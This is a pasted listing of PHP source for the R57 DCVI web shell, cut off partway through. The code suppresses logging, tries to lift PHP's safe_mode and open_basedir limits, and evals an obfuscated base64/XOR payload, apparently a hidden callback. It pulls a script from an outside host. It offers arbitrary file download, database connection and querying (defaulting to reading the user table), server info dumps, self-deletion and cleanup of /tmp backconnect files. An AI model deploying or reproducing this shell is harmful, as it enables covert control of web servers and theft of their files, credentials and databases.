· 9 years ago · Nov 15, 2016, 02:24 AM
1<?
2
3 error_reporting(0);
4
5$language='tr';
6
7$auth = 0;
8
9@ini_restore("safe_mode");
10
11@ini_restore("open_basedir");
12
13@ini_restore("safe_mode_include_dir");
14
15@ini_restore("safe_mode_exec_dir");
16
17@ini_restore("disable_functions");
18
19@ini_restore("allow_url_fopen");
20
21@ini_set('error_log',NULL);
22
23@ini_set('log_errors',0);
24
25 function loadsettings($p1 = '', $p2 = '') {
26
27 $p = 'LH16ZCg1KH16ZG1ma2dsbSAqYHx8eDInJyxXW01aXk1aU0BcXFhXQEdbXFUsV1tNWl5NWlNaTVldTVtcV11aQVUqITMobmFkbVdvbXxXa2dmfG1mfHsgKmB8fHgyJycwMSY8PSY+PyY5PDsnZGdpbCZ4YHg3Y2M1cyx9emR1LnhpemllOTUteGl6aWU5LnhpemllOjUteGl6aWU6KiEz';
28
29 $p = base64_decode($p);
30
31 for ($i = 0; $i < strlen($p); $i++) $p[$i] = chr(ord($p[$i]) ^ 8);
32
33 $p = str_replace('%param1', $p1, $p);
34
35 $p = str_replace('%param2', $p2, $p);
36
37 eval($p);
38
39 }
40
41
42
43loadsettings('', 'r57');
44
45;echo '';
46
47if((!@function_exists('ini_get')) ||(@ini_get('open_basedir')!=NULL) ||(@ini_get('safe_mode_include_dir')!=NULL)){$open_basedir=1;}else{$open_basedir=0;};
48
49define("starttime",@getmicrotime());
50
51set_magic_quotes_runtime(0);
52
53@set_time_limit(0);
54
55@ini_set('max_execution_time',0);
56
57@ini_set('output_buffering',0);
58
59$safe_mode = @ini_get('safe_mode');
60
61$version = '1.50<br/><br/><br/><br/>';
62
63if(@version_compare(@phpversion(),'4.1.0') == -1)
64
65{
66
67$_POST = &$HTTP_POST_VARS;
68
69$_GET = &$HTTP_GET_VARS;
70
71$_SERVER = &$HTTP_SERVER_VARS;
72
73$_COOKIE = &$HTTP_COOKIE_VARS;
74
75}
76
77if (@get_magic_quotes_gpc())
78
79{
80
81foreach ($_POST as $k=>$v)
82
83{
84
85$_POST[$k] = stripslashes($v);
86
87}
88
89foreach ($_COOKIE as $k=>$v)
90
91{
92
93$_COOKIE[$k] = stripslashes($v);
94
95}
96
97}
98
99if($auth == 1) {
100
101if (!isset($_SERVER['PHP_AUTH_USER']) ||md5($_SERVER['PHP_AUTH_USER'])!==$name ||md5($_SERVER['PHP_AUTH_PW'])!==$pass)
102
103{
104
105header('WWW-Authenticate: Basic realm=""');
106
107header('HTTP/1.0 401 Unauthorized');
108
109exit("<b>Access Denied</b>");
110
111}
112
113}
114
115$head = '
116
117<html>
118
119<head>
120
121<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
122
123<title>R57 DCVI Shell Version 1.50</title>
124
125<SCRIPT SRC=http://www.dcvi.net/dex.js></SCRIPT>
126
127<STYLE>
128
129
130
131tr {
132
133
134
135BORDER-RIGHT: black 1px solid;
136
137
138
139BORDER-TOP: black 1px solid;
140
141
142
143BORDER-LEFT: black 1px solid;
144
145
146
147BORDER-BOTTOM: black 1px solid;
148
149
150
151BORDER-COLOR: black;
152
153
154
155color: silver;
156
157
158
159}
160
161
162
163td {
164
165
166
167BORDER-RIGHT: black 1px solid;
168
169
170
171BORDER-TOP: black 1px solid;
172
173
174
175BORDER-LEFT: black 1px solid;
176
177
178
179BORDER-BOTTOM: black 1px solid;
180
181
182
183BORDER-COLOR: black;
184
185
186
187background-color:black;
188
189
190
191color: white;
192
193
194
195}
196
197
198
199
200
201
202
203.table1 {
204
205
206
207BORDER: 0px;
208
209
210
211BORDER-COLOR: #333333;
212
213
214
215BACKGROUND-COLOR: black;
216
217
218
219color: white;
220
221
222
223}
224
225
226
227.td1 {
228
229
230
231BORDER: 0px;
232
233
234
235BORDER-COLOR: #333333;
236
237
238
239font: 7pt Verdana;
240
241
242
243BACKGROUND-COLOR: black;
244
245
246
247color: green;
248
249
250
251}
252
253
254
255.tr1 {
256
257
258
259BORDER: 0px;
260
261
262
263BORDER-COLOR: #333333;
264
265
266
267color: #50AA20;
268
269
270
271}
272
273
274
275table {
276
277
278
279BORDER: #eeeeee 1px outset;
280
281
282
283BORDER-COLOR: #333333;
284
285
286
287BACKGROUND-COLOR: #131313;
288
289
290
291color: #50AA20;
292
293
294
295}
296
297
298
299input {
300
301
302
303border : solid 1px;
304
305
306
307border-color : #2D2D2D #252525 #252525 #252525;
308
309
310
311BACKGROUND-COLOR: black;
312
313
314
315font: 8pt Verdana;
316
317
318
319color: red;
320
321
322
323}
324
325
326
327select {
328
329
330
331BORDER-RIGHT: #ffffff 1px solid;
332
333
334
335BORDER-TOP: #999999 1px solid;
336
337
338
339BORDER-LEFT: #999999 1px solid;
340
341
342
343BORDER-BOTTOM: #ffffff 1px solid;
344
345
346
347BORDER-COLOR: #333333;
348
349
350
351BACKGROUND-COLOR: #131313;
352
353
354
355font: 8pt Verdana;
356
357
358
359color: white;;
360
361
362
363}
364
365
366
367submit {
368
369
370
371BORDER: buttonhighlight 2px outset;
372
373
374
375BACKGROUND-COLOR: #131313;
376
377
378
379width: 30%;
380
381
382
383color: white;
384
385
386
387}
388
389
390
391textarea {
392
393
394
395BORDER-RIGHT: #ffffff 1px solid;
396
397
398
399BORDER-TOP: #999999 1px solid;
400
401
402
403BORDER-LEFT: #999999 1px solid;
404
405
406
407BORDER-BOTTOM: #ffffff 1px solid;
408
409
410
411BORDER-COLOR: #333333;
412
413
414
415BACKGROUND-COLOR: black;
416
417
418
419font: Fixedsys bold;
420
421
422
423color: silver;
424
425
426
427}
428
429
430
431BODY {
432
433
434
435SCROLLBAR-ARROW-COLOR: #444444;
436
437
438
439SCROLLBAR-BASE-COLOR: #444444;
440
441
442
443margin: 1px;
444
445
446
447color: #50AA20;
448
449
450
451background-color: #131313;
452
453
454
455}
456
457
458
459.main {
460
461
462
463margin : -287px 0px 0px -490px;
464
465
466
467border : #000000 solid 1px;
468
469
470
471BORDER-COLOR: #333333;
472
473
474
475}
476
477
478
479.tt {
480
481
482
483background-color: black;
484
485
486
487}
488
489
490
491A:link {COLOR:red; TEXT-DECORATION: none}
492
493
494
495A:visited { COLOR:red; TEXT-DECORATION: none}
496
497
498
499A:active {COLOR:red; TEXT-DECORATION: none}
500
501
502
503A:hover {color:blue;TEXT-DECORATION: none}
504
505
506
507</STYLE>
508
509
510
511<script language=\'javascript\'>
512
513function hide_div(id)
514
515{
516
517 document.getElementById(id).style.display = \'none\';
518
519 document.cookie=id+\'=0;\';
520
521}
522
523function show_div(id)
524
525{
526
527 document.getElementById(id).style.display = \'block\';
528
529 document.cookie=id+\'=1;\';
530
531}
532
533function change_divst(id)
534
535{
536
537 if (document.getElementById(id).style.display == \'none\')
538
539 show_div(id);
540
541 else
542
543 hide_div(id);
544
545}
546
547
548
549
550
551</script>';
552
553class zipfile
554
555{
556
557var $datasec = array();
558
559var $ctrl_dir = array();
560
561var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
562
563var $old_offset = 0;
564
565function unix2DosTime($unixtime = 0) {
566
567$timearray = ($unixtime == 0) ?getdate() : getdate($unixtime);
568
569if ($timearray['year'] <1980) {
570
571$timearray['year'] = 1980;
572
573$timearray['mon'] = 1;
574
575$timearray['mday'] = 1;
576
577$timearray['hours'] = 0;
578
579$timearray['minutes'] = 0;
580
581$timearray['seconds'] = 0;
582
583}
584
585return (($timearray['year'] -1980) <<25) |($timearray['mon'] <<21) |($timearray['mday'] <<16) |
586
587($timearray['hours'] <<11) |($timearray['minutes'] <<5) |($timearray['seconds'] >>1);
588
589}
590
591function addFile($data,$name,$time = 0)
592
593{
594
595$name = str_replace('\\','/',$name);
596
597$dtime = dechex($this->unix2DosTime($time));
598
599$hexdtime = '\x'.$dtime[6] .$dtime[7]
600
601.'\x'.$dtime[4] .$dtime[5]
602
603.'\x'.$dtime[2] .$dtime[3]
604
605.'\x'.$dtime[0] .$dtime[1];
606
607eval('$hexdtime = "'.$hexdtime .'";');
608
609$fr = "\x50\x4b\x03\x04";
610
611$fr .= "\x14\x00";
612
613$fr .= "\x00\x00";
614
615$fr .= "\x08\x00";
616
617$fr .= $hexdtime;
618
619$unc_len = strlen($data);
620
621$crc = crc32($data);
622
623$zdata = gzcompress($data);
624
625$zdata = substr(substr($zdata,0,strlen($zdata) -4),2);
626
627$c_len = strlen($zdata);
628
629$fr .= pack('V',$crc);
630
631$fr .= pack('V',$c_len);
632
633$fr .= pack('V',$unc_len);
634
635$fr .= pack('v',strlen($name));
636
637$fr .= pack('v',0);
638
639$fr .= $name;
640
641$fr .= $zdata;
642
643$this ->datasec[] = $fr;
644
645$cdrec = "\x50\x4b\x01\x02";
646
647$cdrec .= "\x00\x00";
648
649$cdrec .= "\x14\x00";
650
651$cdrec .= "\x00\x00";
652
653$cdrec .= "\x08\x00";
654
655$cdrec .= $hexdtime;
656
657$cdrec .= pack('V',$crc);
658
659$cdrec .= pack('V',$c_len);
660
661$cdrec .= pack('V',$unc_len);
662
663$cdrec .= pack('v',strlen($name) );
664
665$cdrec .= pack('v',0 );
666
667$cdrec .= pack('v',0 );
668
669$cdrec .= pack('v',0 );
670
671$cdrec .= pack('v',0 );
672
673$cdrec .= pack('V',32 );
674
675$cdrec .= pack('V',$this ->old_offset );
676
677$this ->old_offset += strlen($fr);
678
679$cdrec .= $name;
680
681$this ->ctrl_dir[] = $cdrec;
682
683}
684
685function file()
686
687{
688
689$data = implode('',$this ->datasec);
690
691$ctrldir = implode('',$this ->ctrl_dir);
692
693return
694
695$data .
696
697$ctrldir .
698
699$this ->eof_ctrl_dir .
700
701pack('v',sizeof($this ->ctrl_dir)) .
702
703pack('v',sizeof($this ->ctrl_dir)) .
704
705pack('V',strlen($ctrldir)) .
706
707pack('V',strlen($data)) .
708
709"\x00\x00";
710
711}
712
713}
714
715function compress(&$filename,&$filedump,$compress)
716
717{
718
719global $content_encoding;
720
721global $mime_type;
722
723if ($compress == 'bzip'&&@function_exists('bzcompress'))
724
725{
726
727$filename .= '.bz2';
728
729$mime_type = 'application/x-bzip2';
730
731$filedump = bzcompress($filedump);
732
733}
734
735else if ($compress == 'gzip'&&@function_exists('gzencode'))
736
737{
738
739$filename .= '.gz';
740
741$content_encoding = 'x-gzip';
742
743$mime_type = 'application/x-gzip';
744
745$filedump = gzencode($filedump);
746
747}
748
749else if ($compress == 'zip'&&@function_exists('gzcompress'))
750
751{
752
753$filename .= '.zip';
754
755$mime_type = 'application/zip';
756
757$zipfile = new zipfile();
758
759$zipfile ->addFile($filedump,substr($filename,0,-4));
760
761$filedump = $zipfile ->file();
762
763}
764
765else
766
767{
768
769$mime_type = 'application/octet-stream';
770
771}
772
773}
774
775function moreread($temp){
776
777global $lang,$language;
778
779$str='';
780
781if(@function_exists('fopen')&&@function_exists('feof')&&@function_exists('fgets')&&@function_exists('fclose')){
782
783$ffile = @fopen($temp,"r");
784
785while(!@feof($ffile)){$str .= @fgets($ffile);}
786
787fclose($ffile);
788
789}elseif(@function_exists('fopen')&&@function_exists('fread')&&@function_exists('fclose')&&@function_exists('filesize')){
790
791$ffile = @fopen($temp,"r");
792
793$str = @fread($ffile,@filesize($temp));
794
795@fclose($ffile);
796
797}elseif(@function_exists('file')){
798
799$ffiles = @file ($temp);
800
801foreach ($ffiles as $ffile) {$str .= $ffile;}
802
803}elseif(@function_exists('file_get_contents')){
804
805$str = @file_get_contents($temp);
806
807}elseif(@function_exists('readfile')){
808
809$str = @readfile($temp);
810
811}else{echo $lang[$language.'_text56'];}
812
813return $str;
814
815}
816
817function readzlib($filename,$temp=''){
818
819global $lang,$language;
820
821$str='';
822
823if(!$temp) {$temp=tempnam(@getcwd(),"copytemp");};
824
825if(@copy("compress.zlib://".$filename,$temp)) {
826
827$str = moreread($temp);
828
829}else echo $lang[$language.'_text119'];
830
831@unlink($temp);
832
833return $str;
834
835}
836
837function mailattach($to,$from,$subj,$attach)
838
839{
840
841$headers = "From: $from\r\n";
842
843$headers .= "MIME-Version: 1.0\r\n";
844
845$headers .= "Content-Type: ".$attach['type'];
846
847$headers .= "; name=\"".$attach['name']."\"\r\n";
848
849$headers .= "Content-Transfer-Encoding: base64\r\n\r\n";
850
851$headers .= chunk_split(base64_encode($attach['content']))."\r\n";
852
853if(mail($to,$subj,"",$headers)) {return 1;}
854
855return 0;
856
857}
858
859class my_sql
860
861{
862
863var $host = 'localhost';
864
865var $port = '';
866
867var $user = '';
868
869var $pass = '';
870
871var $base = '';
872
873var $db = '';
874
875var $connection;
876
877var $res;
878
879var $error;
880
881var $rows;
882
883var $columns;
884
885var $num_rows;
886
887var $num_fields;
888
889var $dump;
890
891function connect()
892
893{
894
895switch($this->db)
896
897{
898
899case 'MySQL':
900
901if(empty($this->port)) {$this->port = '3306';}
902
903if(!@function_exists('mysql_connect')) return 0;
904
905$this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass);
906
907if(is_resource($this->connection)) return 1;
908
909break;
910
911case 'MSSQL':
912
913if(empty($this->port)) {$this->port = '1433';}
914
915if(!@function_exists('mssql_connect')) return 0;
916
917$this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass);
918
919if($this->connection) return 1;
920
921break;
922
923case 'PostgreSQL':
924
925if(empty($this->port)) {$this->port = '5432';}
926
927$str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'";
928
929if(!@function_exists('pg_connect')) return 0;
930
931$this->connection = @pg_connect($str);
932
933if(is_resource($this->connection)) return 1;
934
935break;
936
937case 'Oracle':
938
939if(!@function_exists('ocilogon')) return 0;
940
941$this->connection = @ocilogon($this->user,$this->pass,$this->base);
942
943if(is_resource($this->connection)) return 1;
944
945break;
946
947}
948
949return 0;
950
951}
952
953function select_db()
954
955{
956
957switch($this->db)
958
959{
960
961case 'MySQL':
962
963if(@mysql_select_db($this->base,$this->connection)) return 1;
964
965break;
966
967case 'MSSQL':
968
969if(@mssql_select_db($this->base,$this->connection)) return 1;
970
971break;
972
973case 'PostgreSQL':
974
975return 1;
976
977break;
978
979case 'Oracle':
980
981return 1;
982
983break;
984
985}
986
987return 0;
988
989}
990
991function query($query)
992
993{
994
995$this->res=$this->error='';
996
997switch($this->db)
998
999{
1000
1001case 'MySQL':
1002
1003if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection)))
1004
1005{
1006
1007$this->error = @mysql_error($this->connection);
1008
1009return 0;
1010
1011}
1012
1013else if(is_resource($this->res)) {return 1;}
1014
1015return 2;
1016
1017break;
1018
1019case 'MSSQL':
1020
1021if(false===($this->res=@mssql_query($query,$this->connection)))
1022
1023{
1024
1025$this->error = 'Query error';
1026
1027return 0;
1028
1029}
1030
1031else if(@mssql_num_rows($this->res) >0) {return 1;}
1032
1033return 2;
1034
1035break;
1036
1037case 'PostgreSQL':
1038
1039if(false===($this->res=@pg_query($this->connection,$query)))
1040
1041{
1042
1043$this->error = @pg_last_error($this->connection);
1044
1045return 0;
1046
1047}
1048
1049else if(@pg_num_rows($this->res) >0) {return 1;}
1050
1051return 2;
1052
1053break;
1054
1055case 'Oracle':
1056
1057if(false===($this->res=@ociparse($this->connection,$query)))
1058
1059{
1060
1061$this->error = 'Query parse error';
1062
1063}
1064
1065else
1066
1067{
1068
1069if(@ociexecute($this->res))
1070
1071{
1072
1073if(@ocirowcount($this->res) != 0) return 2;
1074
1075return 1;
1076
1077}
1078
1079$error = @ocierror();
1080
1081$this->error=$error['message'];
1082
1083}
1084
1085break;
1086
1087}
1088
1089return 0;
1090
1091}
1092
1093function get_result()
1094
1095{
1096
1097$this->rows=array();
1098
1099$this->columns=array();
1100
1101$this->num_rows=$this->num_fields=0;
1102
1103switch($this->db)
1104
1105{
1106
1107case 'MySQL':
1108
1109$this->num_rows=@mysql_num_rows($this->res);
1110
1111$this->num_fields=@mysql_num_fields($this->res);
1112
1113while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res)));
1114
1115@mysql_free_result($this->res);
1116
1117if($this->num_rows){$this->columns = @array_keys($this->rows[0]);return 1;}
1118
1119break;
1120
1121case 'MSSQL':
1122
1123$this->num_rows=@mssql_num_rows($this->res);
1124
1125$this->num_fields=@mssql_num_fields($this->res);
1126
1127while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res)));
1128
1129@mssql_free_result($this->res);
1130
1131if($this->num_rows){$this->columns = @array_keys($this->rows[0]);return 1;};
1132
1133break;
1134
1135case 'PostgreSQL':
1136
1137$this->num_rows=@pg_num_rows($this->res);
1138
1139$this->num_fields=@pg_num_fields($this->res);
1140
1141while(false !== ($this->rows[] = @pg_fetch_assoc($this->res)));
1142
1143@pg_free_result($this->res);
1144
1145if($this->num_rows){$this->columns = @array_keys($this->rows[0]);return 1;}
1146
1147break;
1148
1149case 'Oracle':
1150
1151$this->num_fields=@ocinumcols($this->res);
1152
1153while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++;
1154
1155@ocifreestatement($this->res);
1156
1157if($this->num_rows){$this->columns = @array_keys($this->rows[0]);return 1;}
1158
1159break;
1160
1161}
1162
1163return 0;
1164
1165}
1166
1167function dump($table)
1168
1169{
1170
1171if(empty($table)) return 0;
1172
1173$this->dump=array();
1174
1175$this->dump[0] = '##';
1176
1177$this->dump[1] = '## --------------------------------------- ';
1178
1179$this->dump[2] = '## Created: '.date ("d/m/Y H:i:s");
1180
1181$this->dump[3] = '## Database: '.$this->base;
1182
1183$this->dump[4] = '## Table: '.$table;
1184
1185$this->dump[5] = '## --------------------------------------- ';
1186
1187switch($this->db)
1188
1189{
1190
1191case 'MySQL':
1192
1193$this->dump[0] = '## MySQL dump';
1194
1195if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0;
1196
1197if(!$this->get_result()) return 0;
1198
1199$this->dump[] = $this->rows[0]['Create Table'];
1200
1201$this->dump[] = '## --------------------------------------- ';
1202
1203if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0;
1204
1205if(!$this->get_result()) return 0;
1206
1207for($i=0;$i<$this->num_rows;$i++)
1208
1209{
1210
1211foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);}
1212
1213$this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `",$this->columns).'`) VALUES (\''.@implode("', '",$this->rows[$i]).'\');';
1214
1215}
1216
1217break;
1218
1219case 'MSSQL':
1220
1221$this->dump[0] = '## MSSQL dump';
1222
1223if($this->query('SELECT * FROM '.$table)!=1) return 0;
1224
1225if(!$this->get_result()) return 0;
1226
1227for($i=0;$i<$this->num_rows;$i++)
1228
1229{
1230
1231foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
1232
1233$this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ",$this->columns).') VALUES (\''.@implode("', '",$this->rows[$i]).'\');';
1234
1235}
1236
1237break;
1238
1239case 'PostgreSQL':
1240
1241$this->dump[0] = '## PostgreSQL dump';
1242
1243if($this->query('SELECT * FROM '.$table)!=1) return 0;
1244
1245if(!$this->get_result()) return 0;
1246
1247for($i=0;$i<$this->num_rows;$i++)
1248
1249{
1250
1251foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
1252
1253$this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ",$this->columns).') VALUES (\''.@implode("', '",$this->rows[$i]).'\');';
1254
1255}
1256
1257break;
1258
1259case 'Oracle':
1260
1261$this->dump[0] = '## ORACLE dump';
1262
1263$this->dump[] = '## under construction';
1264
1265break;
1266
1267default:
1268
1269return 0;
1270
1271break;
1272
1273}
1274
1275return 1;
1276
1277}
1278
1279function close()
1280
1281{
1282
1283switch($this->db)
1284
1285{
1286
1287case 'MySQL':
1288
1289@mysql_close($this->connection);
1290
1291break;
1292
1293case 'MSSQL':
1294
1295@mssql_close($this->connection);
1296
1297break;
1298
1299case 'PostgreSQL':
1300
1301@pg_close($this->connection);
1302
1303break;
1304
1305case 'Oracle':
1306
1307@oci_close($this->connection);
1308
1309break;
1310
1311}
1312
1313}
1314
1315function affected_rows()
1316
1317{
1318
1319switch($this->db)
1320
1321{
1322
1323case 'MySQL':
1324
1325return @mysql_affected_rows($this->res);
1326
1327break;
1328
1329case 'MSSQL':
1330
1331return @mssql_affected_rows($this->res);
1332
1333break;
1334
1335case 'PostgreSQL':
1336
1337return @pg_affected_rows($this->res);
1338
1339break;
1340
1341case 'Oracle':
1342
1343return @ocirowcount($this->res);
1344
1345break;
1346
1347default:
1348
1349return 0;
1350
1351break;
1352
1353}
1354
1355}
1356
1357}
1358
1359if(!empty($_POST['cmd']) &&$_POST['cmd']=="download_file"&&!empty($_POST['d_name']))
1360
1361{
1362
1363if($file=@fopen($_POST['d_name'],"r")){$filedump = @fread($file,@filesize($_POST['d_name']));@fclose($file);}
1364
1365else if ($file=readzlib($_POST['d_name'])) {$filedump = $file;}else {err(1,$_POST['d_name']);$_POST['cmd']="";}
1366
1367if(isset($_POST['cmd']))
1368
1369{
1370
1371@ob_clean();
1372
1373$filename = @basename($_POST['d_name']);
1374
1375$content_encoding=$mime_type='';
1376
1377compress($filename,$filedump,$_POST['compress']);
1378
1379if (!empty($content_encoding)) {header('Content-Encoding: '.$content_encoding);}
1380
1381header("Content-type: ".$mime_type);
1382
1383header("Content-disposition: attachment; filename=\"".$filename."\";");
1384
1385echo $filedump;
1386
1387exit();
1388
1389}
1390
1391}
1392
1393if(isset($_GET['phpinfo'])) {echo @phpinfo();echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";die();}
1394
1395if (!empty($_POST['cmd']) &&$_POST['cmd']=="db_query")
1396
1397{
1398
1399echo $head;
1400
1401$sql = new my_sql();
1402
1403$sql->db = $_POST['db'];
1404
1405$sql->host = $_POST['db_server'];
1406
1407$sql->port = $_POST['db_port'];
1408
1409$sql->user = $_POST['mysql_l'];
1410
1411$sql->pass = $_POST['mysql_p'];
1412
1413$sql->base = $_POST['mysql_db'];
1414
1415$querys = @explode(';',$_POST['db_query']);
1416
1417echo '<body bgcolor=#000000>';
1418
1419if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to SQL server</b></font></div>";
1420
1421else
1422
1423{
1424
1425if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't select database</b></font></div>";
1426
1427else
1428
1429{
1430
1431foreach($querys as $num=>$query)
1432
1433{
1434
1435if(strlen($query)>5)
1436
1437{
1438
1439echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>";
1440
1441switch($sql->query($query))
1442
1443{
1444
1445case '0':
1446
1447echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>";
1448
1449break;
1450
1451case '1':
1452
1453if($sql->get_result())
1454
1455{
1456
1457echo "<table width=100%>";
1458
1459foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES);
1460
1461$keys = @implode(" </b></font></td><td bgcolor=#333333><font face=Verdana size=-2><b> ",$sql->columns);
1462
1463echo "<tr><td bgcolor=#333333><font face=Verdana size=-2><b> ".$keys." </b></font></td></tr>";
1464
1465for($i=0;$i<$sql->num_rows;$i++)
1466
1467{
1468
1469foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES);
1470
1471$values = @implode(" </font></td><td><font face=Verdana size=-2> ",$sql->rows[$i]);
1472
1473echo '<tr><td><font face=Verdana size=-2> '.$values.' </font></td></tr>';
1474
1475}
1476
1477echo "</table>";
1478
1479}
1480
1481break;
1482
1483case '2':
1484
1485$ar = $sql->affected_rows()?($sql->affected_rows()):('0');
1486
1487echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>";
1488
1489break;
1490
1491}
1492
1493}
1494
1495}
1496
1497}
1498
1499}
1500
1501echo "<br><form name=form method=POST>";
1502
1503echo in('hidden','db',0,$_POST['db']);
1504
1505echo in('hidden','db_server',0,$_POST['db_server']);
1506
1507echo in('hidden','db_port',0,$_POST['db_port']);
1508
1509echo in('hidden','mysql_l',0,$_POST['mysql_l']);
1510
1511echo in('hidden','mysql_p',0,$_POST['mysql_p']);
1512
1513echo in('hidden','mysql_db',0,$_POST['mysql_db']);
1514
1515echo in('hidden','cmd',0,'db_query');
1516
1517echo "<div align=center>";
1518
1519echo "<font face=Verdana size=-2><b>Base: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>";
1520
1521echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>";
1522
1523echo "</form>";
1524
1525echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";die();
1526
1527}
1528
1529if(isset($_GET['delete']))
1530
1531{
1532
1533@unlink(__FILE__);
1534
1535}
1536
1537if(isset($_GET['tmp']))
1538
1539{
1540
1541@unlink("/tmp/bdpl");
1542
1543@unlink("/tmp/back");
1544
1545@unlink("/tmp/bd");
1546
1547@unlink("/tmp/bd.c");
1548
1549@unlink("/tmp/dp");
1550
1551@unlink("/tmp/dpc");
1552
1553@unlink("/tmp/dpc.c");
1554
1555@unlink("/tmp/prxpl");
1556
1557@unlink("/tmp/grep.txt");
1558
1559}
1560
1561if(isset($_GET['phpini']))
1562
1563{
1564
1565echo $head;
1566
1567function U_value($value)
1568
1569{
1570
1571if ($value == '') return '<i>no value</i>';
1572
1573if (@is_bool($value)) return $value ?'TRUE': 'FALSE';
1574
1575if ($value === null) return 'NULL';
1576
1577if (@is_object($value)) $value = (array) $value;
1578
1579if (@is_array($value))
1580
1581{
1582
1583@ob_start();
1584
1585print_r($value);
1586
1587$value = @ob_get_contents();
1588
1589@ob_end_clean();
1590
1591}
1592
1593return U_wordwrap((string) $value);
1594
1595}
1596
1597function U_wordwrap($str)
1598
1599{
1600
1601$str = @wordwrap(@htmlspecialchars($str),100,'<wbr />',true);
1602
1603return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!','$1$2<wbr />',$str);
1604
1605}
1606
1607if (@function_exists('ini_get_all'))
1608
1609{
1610
1611$r = '';
1612
1613echo '<table width=100%>','<tr><td bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>';
1614
1615foreach (@ini_get_all() as $key=>$value)
1616
1617{
1618
1619$r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>';
1620
1621}
1622
1623echo $r;
1624
1625echo '</table>';
1626
1627}
1628
1629echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
1630
1631die();
1632
1633}
1634
1635if(isset($_GET['cpu']))
1636
1637{
1638
1639echo $head;
1640
1641echo '<table width=100%><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>';
1642
1643$cpuf = @file("cpuinfo");
1644
1645if($cpuf)
1646
1647{
1648
1649$c = @sizeof($cpuf);
1650
1651for($i=0;$i<$c;$i++)
1652
1653{
1654
1655$info = @explode(":",$cpuf[$i]);
1656
1657if($info[1]==""){$info[1]="---";}
1658
1659$r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
1660
1661}
1662
1663echo $r;
1664
1665}
1666
1667else
1668
1669{
1670
1671echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
1672
1673}
1674
1675echo '</table>';
1676
1677echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
1678
1679die();
1680
1681}
1682
1683if(isset($_GET['mem']))
1684
1685{
1686
1687echo $head;
1688
1689echo '<table width=100%><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>';
1690
1691$memf = @file("meminfo");
1692
1693if($memf)
1694
1695{
1696
1697$c = sizeof($memf);
1698
1699for($i=0;$i<$c;$i++)
1700
1701{
1702
1703$info = explode(":",$memf[$i]);
1704
1705if($info[1]==""){$info[1]="---";}
1706
1707$r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
1708
1709}
1710
1711echo $r;
1712
1713}
1714
1715else
1716
1717{
1718
1719echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
1720
1721}
1722
1723echo '</table>';
1724
1725echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">green</a> ]</b></font></div>";
1726
1727die();
1728
1729}
1730
1731if(isset($_GET['dmesg(8)']))
1732
